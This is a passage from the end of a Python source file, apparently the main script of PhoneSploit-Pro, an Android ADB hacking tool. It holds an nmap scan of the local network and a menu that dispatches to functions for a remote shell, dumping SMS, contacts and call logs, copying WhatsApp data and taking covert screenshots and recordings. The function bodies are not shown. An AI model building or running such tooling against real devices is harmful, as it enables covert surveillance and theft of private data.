1179 | os.system(f'{opener} https://github.com/AzeemIdrisi/PhoneSploit-Pro')
1180 | print("\n")
1181 |
1182 |
1183 | def scan_network():
1184 | print(f"\n{color.GREEN}Scanning network for connected devices...{color.WHITE}\n")
1185 | ip = get_ip_address()
1186 | ip += '/24'
1187 |
1188 | scanner = nmap.PortScanner()
1189 | scanner.scan(hosts=ip, arguments='-sn')
1190 | for host in scanner.all_hosts():
1191 | if scanner[host]['status']['state'] == 'up':
1192 | try:
1193 | if len(scanner[host]['vendor']) == 0:
1194 | try:
1195 | print(
1196 | f"[{color.GREEN}+{color.WHITE}] {host} \t {socket.gethostbyaddr(host)[0]}")
1197 | except:
1198 | print(f"[{color.GREEN}+{color.WHITE}] {host}")
1199 | else:
1200 | try:
1201 | print(
1202 | f"[{color.GREEN}+{color.WHITE}] {host} \t {scanner[host]['vendor']} \t {socket.gethostbyaddr(host)[0]}")
1203 | except:
1204 | print(
1205 | f"[{color.GREEN}+{color.WHITE}] {host} \t {scanner[host]['vendor']}")
1206 | except:
1207 | print(
1208 | f"[{color.GREEN}+{color.WHITE}] {host} \t {scanner[host]['vendor']}")
1209 |
1210 | print("\n")
1211 |
1212 |
1213 | def main():
1214 | # Clearing the screen and presenting the menu
1215 | # taking selection input from user
1216 | print(f"\n {color.CYAN}99 : Clear Screen 0 : Exit")
1217 | option = input(
1218 | f"\n{color.RED}[Main Menu] {color.WHITE}Enter selection > ").lower()
1219 |
1220 | match option:
1221 | case 'p':
1222 | change_page('p')
1223 | case 'n':
1224 | change_page('n')
1225 | case 'release':
1226 | from modules import release
1227 | case '0':
1228 | exit_phonesploit_pro()
1229 | case '99':
1230 | clear_screen()
1231 | case '1':
1232 | connect()
1233 | case '2':
1234 | list_devices()
1235 | case '3':
1236 | disconnect()
1237 | case '4':
1238 | scan_network()
1239 | case '5':
1240 | mirror()
1241 | case '6':
1242 | get_screenshot()
1243 | case '7':
1244 | screenrecord()
1245 | case '8':
1246 | pull_file()
1247 | case '9':
1248 | push_file()
1249 | case '10':
1250 | launch_app()
1251 | case '11':
1252 | install_app()
1253 | case '12':
1254 | uninstall_app()
1255 | case '13':
1256 | list_apps()
1257 | case '14':
1258 | get_shell()
1259 | case '15':
1260 | hack()
1261 | case '16':
1262 | list_files()
1263 | case '17':
1264 | send_sms()
1265 | case '18':
1266 | copy_whatsapp()
1267 | case '19':
1268 | copy_screenshots()
1269 | case '20':
1270 | copy_camera()
1271 | case '21':
1272 | anonymous_screenshot()
1273 | case '22':
1274 | anonymous_screenrecord()
1275 | case '23':
1276 | open_link()
1277 | case '24':
1278 | open_photo()
1279 | case '25':
1280 | open_audio()
1281 | case '26':
1282 | open_video()
1283 | case '27':
1284 | get_device_info()
1285 | case '28':
1286 | battery_info()
1287 | case '29':
1288 | reboot('system')
1289 | case '30':
1290 | reboot('advanced')
1291 | case '31':
1292 | unlock_device()
1293 | case '32':
1294 | lock_device()
1295 | case '33':
1296 | dump_sms()
1297 | case '34':
1298 | dump_contacts()
1299 | case '35':
1300 | dump_call_logs()
1301 | case '36':
1302 | extract_apk()
1303 | case '37':
1304 | stop_adb()
1305 | case '38':
1306 | power_off()
1307 | case '39':
1308 | use_keycode()
1309 | case '40':
1310 | update_me()
1311 | case '41':
1312 | visit_me()
1313 | case other:
1314 | print("\nInvalid selection!\n")
1315 |
1316 |
1317 | # Starting point of the program
1318 |
1319 | # Global variables
1320 | run_phonesploit_pro = True
1321 | operating_system = ''
1322 | clear = 'clear'
1323 | opener = 'xdg-open'
1324 | # move = 'mv'
1325 | page_number = 0
1326 | page = banner.menu[page_number]
1327 |
1328 | # Locations
1329 | screenshot_location = ''
1330 | screenrecord_location = ''
1331 | pull_location = ''
1332 |
1333 | # Concatenating banner color with the selected banner
1334 | selected_banner = random.choice(
1335 | color.color_list) + random.choice(banner.banner_list)
1336 |
1337 | start()
1338 |
1339 | if run_phonesploit_pro:
1340 | clear_screen()
1341 | while run_phonesploit_pro:
1342 | try:
1343 | main()
1344 | except KeyboardInterrupt:
1345 | exit_phonesploit_pro()
1346 |
--------------------------------------------------------------------------------